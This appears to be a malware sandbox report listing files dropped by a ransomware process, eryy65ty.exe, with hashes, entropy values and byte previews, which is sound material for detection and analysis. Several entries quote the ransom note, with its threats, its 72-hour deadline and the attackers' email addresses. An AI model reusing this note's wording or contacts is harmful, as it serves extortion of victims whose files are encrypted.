                                                                                                                                        Preview:..P.(!.:}....%.7.\..Pm.9P..Ir..`fBR...j..V.=.E=q?Mq...:..%.l|.'...5k~d<x.o?.x.{Q\.......~..3.%t.^..2{..!............!.....R...g..}...0@.x. ...0....B.>...T.......j.....rb.".5]PI2......h#..l.3..].o..pX..qI.G.+=f....... M.q.k.2. ..,%..u>,..6)^..qu].g....1RNs.e..}ti.#.ts.W..;.W.._.}bq8.....bQ.?....U..r.z.g....g...U1.f.HX....kJ..{.J.x .`....!.Q.. @..M..0K.....'...!-c8#]/2.u.20S{o2V.........5N..V5...C...Tp.P.+..w?..&g2.......'....<.|.h.,..AR....x(&+.............!_1....s....VN..f....b.xQ.6..{.t..$....5.F....iZ..}{ .@.M......O....^<C..sJ]B`..L....X!b..?...b[L_.Y.Ig.WKg..S..hKsT.....3+......cE3.u.79...`......M.d...f.......w.....K..u.;n.^.6....[.R ....Y.jL".D.F"J.S...m....E.K.RL...s..FKlo.4)........`.Y0..q.V...k..."..[.a...|.}]...Ug.b..h.`a..S^.1...}.)5g..R.hv..%.Wh\,.?..H-.d.......>h.....x...s..?.=.%...n<.5...an.Q.....{.....V.O.5..<.q.A.....'z...$._.y..C..*j..n.><U.....A.1...O..&.q.<.Vb4.8.;.\.....rd..H=0...+..m.`.\3....J..|...\.].l...>............{..bOt
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1486
                                                                                                                                        Entropy (8bit):7.864190388001871
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1NrHCaE2nX/3fvV74aVvzF/O/k30lQbunq0FfXT4Xa0ZECSiKuUTQU39k:1NDCn8HVkUrF/O/obunq0F74q2pmu8Ru
                                                                                                                                        MD5:2EA92F46915644CA1D285776310288DE
                                                                                                                                        SHA1:7EAF05E1994F1AE0F4964698D44DDE25BC98478F
                                                                                                                                        SHA-256:8FE74A285E6337B4EF7E5B6B7C26965144167EFFCBA8AB948E0BBE2323090885
                                                                                                                                        SHA-512:2367A0ACF55AA2FA7030B8C63EB074FF775AD2029FF086BB9D18F5AB2FF9AA03BD2F07CA6720F512213F052AB14CE2A2578579C0A0C0966F2E72162B540B160C
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..P.(!.:}....%.7.\..Pm.9P..Ir..`fBR...j..V.=.E=q?Mq...:..%.l|.'...5k~d<x.o?.x.{Q\.......~..3.%t.^..2{..!............!.....R...g..}...0@.x. ...0....B.>...T.......j.....rb.".5]PI2......h#..l.3..].o..pX..qI.G.+=f....... M.q.k.2. ..,%..u>,..6)^..qu].g....1RNs.e..}ti.#.ts.W..;.W.._.}bq8.....bQ.?....U..r.z.g....g...U1.f.HX....kJ..{.J.x .`....!.Q.. @..M..0K.....'...!-c8#]/2.u.20S{o2V.........5N..V5...C...Tp.P.+..w?..&g2.......'....<.|.h.,..AR....x(&+.............!_1....s....VN..f....b.xQ.6..{.t..$....5.F....iZ..}{ .@.M......O....^<C..sJ]B`..L....X!b..?...b[L_.Y.Ig.WKg..S..hKsT.....3+......cE3.u.79...`......M.d...f.......w.....K..u.;n.^.6....[.R ....Y.jL".D.F"J.S...m....E.K.RL...s..FKlo.4)........`.Y0..q.V...k..."..[.a...|.}]...Ug.b..h.`a..S^.1...}.)5g..R.hv..%.Wh\,.?..H-.d.......>h.....x...s..?.=.%...n<.5...an.Q.....{.....V.O.5..<.q.A.....'z...$._.y..C..*j..n.><U.....A.1...O..&.q.<.Vb4.8.;.\.....rd..H=0...+..m.`.\3....J..|...\.].l...>............{..bOt
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1738
                                                                                                                                        Entropy (8bit):7.878186267665206
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ADMg44ejLSYte2R5xfDQdMPRztxIA61mvaID3i8Qb8cLMEcROZ6EIgTyIY/NmUjE:ADtvEL3f0dsR1NhRS+e8gTyIHslJsrH
                                                                                                                                        MD5:34529EAD57E5CA11B9F2DA6F1FC40754
                                                                                                                                        SHA1:037E62195660CC558CF06C4753778E79B0A65154
                                                                                                                                        SHA-256:A1DE8A65FF5DAF437246B812786DD3CCFEE1BD7D11200B1AF97C133B28CC136A
                                                                                                                                        SHA-512:42DCE1937D2AE700626F0BF03C9ED1B836F465B57B3A3A1A64758CFFD640FDF1D97297AB9BDF387BB5ED985697E2E2F4F27357E5B1C456A5A849D56E5D364E5A
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...r.YG....~.Q.@n.4.....A....v.r..EA..=.EY;FP...~S1a.H>..z...?...'.C..$.aUVF..pum..6.n.._Kw....X...3.R..d.w(.K.W8x..:Y....@.4Y..#..Z.-..!&.x.P=..]......&......R.._.a.. q..<..>...;..T..F.h.4.*..C.>.R.Z-.]....L....V..?OJ..".kJ.st...r....y..a......zVW.2..@.Dn....+T~j\A,H.....i1`Xp....WBM.K...Y...\3.....]....0$r...-{P.....9=..C.|.k..]s.....33..u.(%...y......Dn>.....F.m..Z...k.1?...3G2"..eq...GW..3S4y...;].X|...)5.....|.6z.yP!Cv........Y.C<..]S.:.Q..,DiPnJ...dy..3<=W..k.W.tz.w.i.......;'F.U....:.%.e..J..G...p.{].e..6f..R..W..w..u...2.#...^!e|g.-....B9?NKDdi.'.....:.W. o.s5.-|.t3.. .9....P....M..../...7... r....=...7.r....H...MG.!Zr.).t...-.Q..~...F .k..i.%.x"...+. <......z).....5....0.&.7.Dg.i...hz.9s.....MQ..dv&.xF(/...q.*.RtX.!t..-*.....Lt.E.f.W..(]..oC.r...(.oV.=..._....Akh/..m..)..W_...!.opm..f....h@/..&y..........$k.xt\..m........]4..^aU.....y\A"."E.+..|..|.<......{;-.v.:.....OY..?.9.F..J..C..EV...1n.4]..|.....<..~K5..$............
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1738
                                                                                                                                        Entropy (8bit):7.878186267665206
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ADMg44ejLSYte2R5xfDQdMPRztxIA61mvaID3i8Qb8cLMEcROZ6EIgTyIY/NmUjE:ADtvEL3f0dsR1NhRS+e8gTyIHslJsrH
                                                                                                                                        MD5:34529EAD57E5CA11B9F2DA6F1FC40754
                                                                                                                                        SHA1:037E62195660CC558CF06C4753778E79B0A65154
                                                                                                                                        SHA-256:A1DE8A65FF5DAF437246B812786DD3CCFEE1BD7D11200B1AF97C133B28CC136A
                                                                                                                                        SHA-512:42DCE1937D2AE700626F0BF03C9ED1B836F465B57B3A3A1A64758CFFD640FDF1D97297AB9BDF387BB5ED985697E2E2F4F27357E5B1C456A5A849D56E5D364E5A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...r.YG....~.Q.@n.4.....A....v.r..EA..=.EY;FP...~S1a.H>..z...?...'.C..$.aUVF..pum..6.n.._Kw....X...3.R..d.w(.K.W8x..:Y....@.4Y..#..Z.-..!&.x.P=..]......&......R.._.a.. q..<..>...;..T..F.h.4.*..C.>.R.Z-.]....L....V..?OJ..".kJ.st...r....y..a......zVW.2..@.Dn....+T~j\A,H.....i1`Xp....WBM.K...Y...\3.....]....0$r...-{P.....9=..C.|.k..]s.....33..u.(%...y......Dn>.....F.m..Z...k.1?...3G2"..eq...GW..3S4y...;].X|...)5.....|.6z.yP!Cv........Y.C<..]S.:.Q..,DiPnJ...dy..3<=W..k.W.tz.w.i.......;'F.U....:.%.e..J..G...p.{].e..6f..R..W..w..u...2.#...^!e|g.-....B9?NKDdi.'.....:.W. o.s5.-|.t3.. .9....P....M..../...7... r....=...7.r....H...MG.!Zr.).t...-.Q..~...F .k..i.%.x"...+. <......z).....5....0.&.7.Dg.i...hz.9s.....MQ..dv&.xF(/...q.*.RtX.!t..-*.....Lt.E.f.W..(]..oC.r...(.oV.=..._....Akh/..m..)..W_...!.opm..f....h@/..&y..........$k.xt\..m........]4..^aU.....y\A"."E.+..|..|.<......{;-.v.:.....OY..?.9.F..J..C..EV...1n.4]..|.....<..~K5..$............
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1479
                                                                                                                                        Entropy (8bit):7.867816834708912
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ErUOPXHM/qwHjG2Gso3wzH1+lpeMP//lXAJh2g0kOdYS3XRXcxuPoH:ElXH0wYZH1LMPi03kOW0XRA
                                                                                                                                        MD5:98A7DF1A4037601B73DB594C7F7E5776
                                                                                                                                        SHA1:DBF2D1724F28A30811C832B920FDE3BCD7E7585A
                                                                                                                                        SHA-256:59962C0BDF47C901BC8E1FA7E91A2D361166AB1795EBD472BFD2F06C75E6A509
                                                                                                                                        SHA-512:2252910D0D9088CBA402DDEBFBA22589AC06976F1BAC7B2A7DA21D6076CAF4285D8E0FF203FEE9DEE1528CB0BDE50CA4D426E385913A440B5C4676076CCE1B64
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:M..*.....lt.X*..!L\.&...>..W..#ei....>.'....K......`.........wHS...F...JX..LM.J..4.....Xwn.e....(t.X..J..E:..@.....RH.1.^.{............`.S?.>%....7.._.a..{^e.k..T.Z.V.=F.s!..Y......0.Y....Y.......ffh.........-..R...W.r..TO(...7<.@....u"QJ..).\...P.^m.b.|.AB..e....l.e=.._'.j..^.g...T.......4........c..[...].W.K.{..1..*~.i.6.?....r..J{6..X.]...X5._.e.......4oo....g../i.i`.web_..NVKZ.j...;a.W#..;.....!.r.Dy..-.o...R.9L|.S.<.Q.$HF.....E.6*.......C.....*......Z.mg.3i.....{...J4.%E.4..q.i..~4`...Q.">Tb.1......C~h..{.cH.R...Uf.&..'.H....Z.A....v.h.....H.qfD......(.1.._..".....y.~....b.........:f..y].OE...._..[.A..,...sM...*.....Z.q`d...K..w.p8.KF...4....f>.....#.i..i.../2...Qs..|.HD.....(=...Z.V.q...s,...N.[.|.,....n...l...2.w...P.8.O.<....".%so...:..u{.u#.2.y.Q\.<n............t.i.i...G2N.....I......bD.....v...... 6W...|X\......!../...2..QOm.5m...|....@....p....r...H...q...{:.=bW.E.xD..l....C..0.Y.E?.B... A..iA.../H.*m....E.}g.f...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1479
                                                                                                                                        Entropy (8bit):7.867816834708912
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ErUOPXHM/qwHjG2Gso3wzH1+lpeMP//lXAJh2g0kOdYS3XRXcxuPoH:ElXH0wYZH1LMPi03kOW0XRA
                                                                                                                                        MD5:98A7DF1A4037601B73DB594C7F7E5776
                                                                                                                                        SHA1:DBF2D1724F28A30811C832B920FDE3BCD7E7585A
                                                                                                                                        SHA-256:59962C0BDF47C901BC8E1FA7E91A2D361166AB1795EBD472BFD2F06C75E6A509
                                                                                                                                        SHA-512:2252910D0D9088CBA402DDEBFBA22589AC06976F1BAC7B2A7DA21D6076CAF4285D8E0FF203FEE9DEE1528CB0BDE50CA4D426E385913A440B5C4676076CCE1B64
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:M..*.....lt.X*..!L\.&...>..W..#ei....>.'....K......`.........wHS...F...JX..LM.J..4.....Xwn.e....(t.X..J..E:..@.....RH.1.^.{............`.S?.>%....7.._.a..{^e.k..T.Z.V.=F.s!..Y......0.Y....Y.......ffh.........-..R...W.r..TO(...7<.@....u"QJ..).\...P.^m.b.|.AB..e....l.e=.._'.j..^.g...T.......4........c..[...].W.K.{..1..*~.i.6.?....r..J{6..X.]...X5._.e.......4oo....g../i.i`.web_..NVKZ.j...;a.W#..;.....!.r.Dy..-.o...R.9L|.S.<.Q.$HF.....E.6*.......C.....*......Z.mg.3i.....{...J4.%E.4..q.i..~4`...Q.">Tb.1......C~h..{.cH.R...Uf.&..'.H....Z.A....v.h.....H.qfD......(.1.._..".....y.~....b.........:f..y].OE...._..[.A..,...sM...*.....Z.q`d...K..w.p8.KF...4....f>.....#.i..i.../2...Qs..|.HD.....(=...Z.V.q...s,...N.[.|.,....n...l...2.w...P.8.O.<....".%so...:..u{.u#.2.y.Q\.<n............t.i.i...G2N.....I......bD.....v...... 6W...|X\......!../...2..QOm.5m...|....@....p....r...H...q...{:.=bW.E.xD..l....C..0.Y.E?.B... A..iA.../H.*m....E.}g.f...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):284
                                                                                                                                        Entropy (8bit):7.151288867779413
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:jmvPv5b0kmYFgREG8HZOu0/6E8wFzfBh1Fwn:jmBbgREGOOuw6E8w1ph1mn
                                                                                                                                        MD5:C28B910B575D245F6FDE65F12E116EA0
                                                                                                                                        SHA1:8656C32C33CFBAB8C0A14FB19B0B2969801AB3BD
                                                                                                                                        SHA-256:3902BB8862832A30A260F0EC700BA865E4E71517C9C19E36ECD69F8041CE33C1
                                                                                                                                        SHA-512:77FB7107404F8C7FE03B1D99E82B19892A55B76157BAA2907D16B90BC2C3A3603FE08223F8CA81AB395B0ABC79A139760309CA7FD0C21679DC01703C499A20D0
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:j..-..5...X..r..}}l./z.h..f)...}a.H....b....|...;....l.......R.]..3...%...s...BZ~`D.i99....0.....1.H..8G;M...U}...Pw.`.`....Y..s*......A.........vuE.t...q:.5.b.aP.H..[BO....]...t(."..H'U...2..\Ca.%.u..s..?.Iu....w..*.....*O..cA...0O-...7r.M..+Y..........q^._...u0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):284
                                                                                                                                        Entropy (8bit):7.151288867779413
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:jmvPv5b0kmYFgREG8HZOu0/6E8wFzfBh1Fwn:jmBbgREGOOuw6E8w1ph1mn
                                                                                                                                        MD5:C28B910B575D245F6FDE65F12E116EA0
                                                                                                                                        SHA1:8656C32C33CFBAB8C0A14FB19B0B2969801AB3BD
                                                                                                                                        SHA-256:3902BB8862832A30A260F0EC700BA865E4E71517C9C19E36ECD69F8041CE33C1
                                                                                                                                        SHA-512:77FB7107404F8C7FE03B1D99E82B19892A55B76157BAA2907D16B90BC2C3A3603FE08223F8CA81AB395B0ABC79A139760309CA7FD0C21679DC01703C499A20D0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:j..-..5...X..r..}}l./z.h..f)...}a.H....b....|...;....l.......R.]..3...%...s...BZ~`D.i99....0.....1.H..8G;M...U}...Pw.`.`....Y..s*......A.........vuE.t...q:.5.b.aP.H..[BO....]...t(."..H'U...2..\Ca.%.u..s..?.Iu....w..*.....*O..cA...0O-...7r.M..+Y..........q^._...u0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4362
                                                                                                                                        Entropy (8bit):7.962180865918719
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:31osGsa/Lr9nAPJaZspwcjTe/WtfDlY+CQbS3/MG:Foh/LrRAPMh0tfZY+CQbSPt
                                                                                                                                        MD5:E9BF79DB04B9FE3EFEF64DEFDD0D810D
                                                                                                                                        SHA1:A34A378083838B88C5C6E63BFA05CD1DA023A704
                                                                                                                                        SHA-256:CF4AB0842BDD461A3254B5494FF5AE7AF940A8174C930ECAA585A655208AAA36
                                                                                                                                        SHA-512:AB9876352CB3B0CD4A05FE505439DBDF551F5D15DEF8BF989F9298B3AF3F836AD6CB07EDCB40274C079CBC9068BB3DF09DDDCDBC19CAE07093AD919D4B648875
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:I..!.......0.`.......CHVof.`...v...C:).~8.C.. .}:..8..kt3.d...BOe.ji .!.....r..U..QP2$b..tts8.6........u2.uE.s.|....1...9=O.....d.O...sLK]n50Y...>).,k....$[#.G4..../..E8.Z..Lu...P...oZ....(..JC.....(.|..sZj<%.[.4w&....}.B..9...9..t.<8e..."C.6.g....P...6")q~........w4..J;...~.`C...S..a.x..o.pkf...C..Zn..........lY\gl..`N5=..>......x.J....Ra.F.......6.#..'gJh...$+jcR...R.....c8mZ..18:.=i..qD.{.d%.7i&.E.RX..%.L.ga..OV`.2/..>68$.......j...d.>..V]DvH...z4Fs*.:.....=..ml(...f..W..l{.@2L7ke_....:.4n.mm.D.^.&sZ+K)...gc....Py...US.@....h..d..m`..m.J....y+....S@.*...v..6.V..k..X@...+...?..8|G..,..P.I..N-.7...e..`-..].*...*Y...+S..cD..|..8,..iz.0q...rb....[,{F...lC.G{....5....Q.G.V..:...5.u.+....&bD...C..>.Y..M.?8.E....P....9....Kq.....&.dG\'...o$....5O.p.4..U.....X...u(...+N4.....p..}...:..N.N......UTPu3..@..V.....38....b..:...:<+....5>d........R.R_.8.j"Q..%r..........J..v.".V'n$.....D.._E.a.\......WB..u3.....}.ES.KEAc..n.............D..(......(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4362
                                                                                                                                        Entropy (8bit):7.962180865918719
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:31osGsa/Lr9nAPJaZspwcjTe/WtfDlY+CQbS3/MG:Foh/LrRAPMh0tfZY+CQbSPt
                                                                                                                                        MD5:E9BF79DB04B9FE3EFEF64DEFDD0D810D
                                                                                                                                        SHA1:A34A378083838B88C5C6E63BFA05CD1DA023A704
                                                                                                                                        SHA-256:CF4AB0842BDD461A3254B5494FF5AE7AF940A8174C930ECAA585A655208AAA36
                                                                                                                                        SHA-512:AB9876352CB3B0CD4A05FE505439DBDF551F5D15DEF8BF989F9298B3AF3F836AD6CB07EDCB40274C079CBC9068BB3DF09DDDCDBC19CAE07093AD919D4B648875
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:I..!.......0.`.......CHVof.`...v...C:).~8.C.. .}:..8..kt3.d...BOe.ji .!.....r..U..QP2$b..tts8.6........u2.uE.s.|....1...9=O.....d.O...sLK]n50Y...>).,k....$[#.G4..../..E8.Z..Lu...P...oZ....(..JC.....(.|..sZj<%.[.4w&....}.B..9...9..t.<8e..."C.6.g....P...6")q~........w4..J;...~.`C...S..a.x..o.pkf...C..Zn..........lY\gl..`N5=..>......x.J....Ra.F.......6.#..'gJh...$+jcR...R.....c8mZ..18:.=i..qD.{.d%.7i&.E.RX..%.L.ga..OV`.2/..>68$.......j...d.>..V]DvH...z4Fs*.:.....=..ml(...f..W..l{.@2L7ke_....:.4n.mm.D.^.&sZ+K)...gc....Py...US.@....h..d..m`..m.J....y+....S@.*...v..6.V..k..X@...+...?..8|G..,..P.I..N-.7...e..`-..].*...*Y...+S..cD..|..8,..iz.0q...rb....[,{F...lC.G{....5....Q.G.V..:...5.u.+....&bD...C..>.Y..M.?8.E....P....9....Kq.....&.dG\'...o$....5O.p.4..U.....X...u(...+N4.....p..}...:..N.N......UTPu3..@..V.....38....b..:...:<+....5>d........R.R_.8.j"Q..%r..........J..v.".V'n$.....D.._E.a.\......WB..u3.....}.ES.KEAc..n.............D..(......(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):131338
                                                                                                                                        Entropy (8bit):0.5076754651303792
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:t7uJpUbjvn5gs9sLtd/bDCKBJrx0CD8B3b9XatOBJUqK7JV8snw+3acS8:t7WU3nys9s7/bDbpB+9qUUjO2acS8
                                                                                                                                        MD5:ACDE3A14CB3B37A623F3A040175C44E4
                                                                                                                                        SHA1:E08A443CD120314D42A884D40139870370F0FF83
                                                                                                                                        SHA-256:66D91FCAFAC748A11C341223B6D928046DA4BBF1D0D1CE84D3F84EE24B2815FF
                                                                                                                                        SHA-512:4C36D8F2ECF50E9DA41B100B4D27B451F19282042BF789C5FF4BAF3D676D5D51043E009894FBC507268A679D79F751287DE37D301BE7B95C405AC301858CFD6B
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..x... ..t..-&sr.H....Hh...m.=t..t....4.x....;nh...Z.>H..v....;@.....0.V....%O....Y........M..o...$..q..%|e4....TgE....^.. .`...w.6.........9,@..;a"u.>.^.;A.px..Z.....'.@.7....u.'...|O...I...#JUi2N.f./........n...G.[..@.u..I...oe.+.......4..4A3S4l.i0x.d.....,k..4=F....{....v...v...........eg`N..z.N.n.).Z..|.pD..;..02..n.a.I6......6.L.f.k..L..O........y.5%..4B.CbI.m..7....t...%.Q8...Q..9.RO...J.o;..-B.....ml.!...u.PTWe...G.I.*.D...u..>.jZ.c.g...dp....9.'i......X`.....u.~.........yR..&....y.....bp.1.n@N..f..bZ..s....#...a......>...0.I.(....<....}.'@...I.Z%..tDH...........2.4.l..... ...6.a"3#.v....c..P'.{...#F.VfV.$..to..e..8v\.~uB.h.@.?ka........:....l...-Q.=.....&..j-.y4..V:.....%.........V..K...=.K{..L....gf3...T.UNd..b..P.J...>z.m~).h..Q..j..q>.M....=.?:k..&....B<.Ox...o..%..Q\I..t_7q.f..V...*.z1....P.d....4.s...`.t.lK.........o......P&T..)y.M.."./72>S.....^..;..x.[....>.R.GOV.m.9.]....4.Rq..0....8.....).1....W.^...pj..].
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):131338
                                                                                                                                        Entropy (8bit):0.5076754651303792
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:t7uJpUbjvn5gs9sLtd/bDCKBJrx0CD8B3b9XatOBJUqK7JV8snw+3acS8:t7WU3nys9s7/bDbpB+9qUUjO2acS8
                                                                                                                                        MD5:ACDE3A14CB3B37A623F3A040175C44E4
                                                                                                                                        SHA1:E08A443CD120314D42A884D40139870370F0FF83
                                                                                                                                        SHA-256:66D91FCAFAC748A11C341223B6D928046DA4BBF1D0D1CE84D3F84EE24B2815FF
                                                                                                                                        SHA-512:4C36D8F2ECF50E9DA41B100B4D27B451F19282042BF789C5FF4BAF3D676D5D51043E009894FBC507268A679D79F751287DE37D301BE7B95C405AC301858CFD6B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..x... ..t..-&sr.H....Hh...m.=t..t....4.x....;nh...Z.>H..v....;@.....0.V....%O....Y........M..o...$..q..%|e4....TgE....^.. .`...w.6.........9,@..;a"u.>.^.;A.px..Z.....'.@.7....u.'...|O...I...#JUi2N.f./........n...G.[..@.u..I...oe.+.......4..4A3S4l.i0x.d.....,k..4=F....{....v...v...........eg`N..z.N.n.).Z..|.pD..;..02..n.a.I6......6.L.f.k..L..O........y.5%..4B.CbI.m..7....t...%.Q8...Q..9.RO...J.o;..-B.....ml.!...u.PTWe...G.I.*.D...u..>.jZ.c.g...dp....9.'i......X`.....u.~.........yR..&....y.....bp.1.n@N..f..bZ..s....#...a......>...0.I.(....<....}.'@...I.Z%..tDH...........2.4.l..... ...6.a"3#.v....c..P'.{...#F.VfV.$..to..e..8v\.~uB.h.@.?ka........:....l...-Q.=.....&..j-.y4..V:.....%.........V..K...=.K{..L....gf3...T.UNd..b..P.J...>z.m~).h..Q..j..q>.M....=.?:k..&....B<.Ox...o..%..Q\I..t_7q.f..V...*.z1....P.d....4.s...`.t.lK.........o......P&T..)y.M.."./72>S.....^..;..x.[....>.R.GOV.m.9.]....4.Rq..0....8.....).1....W.^...pj..].
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):302
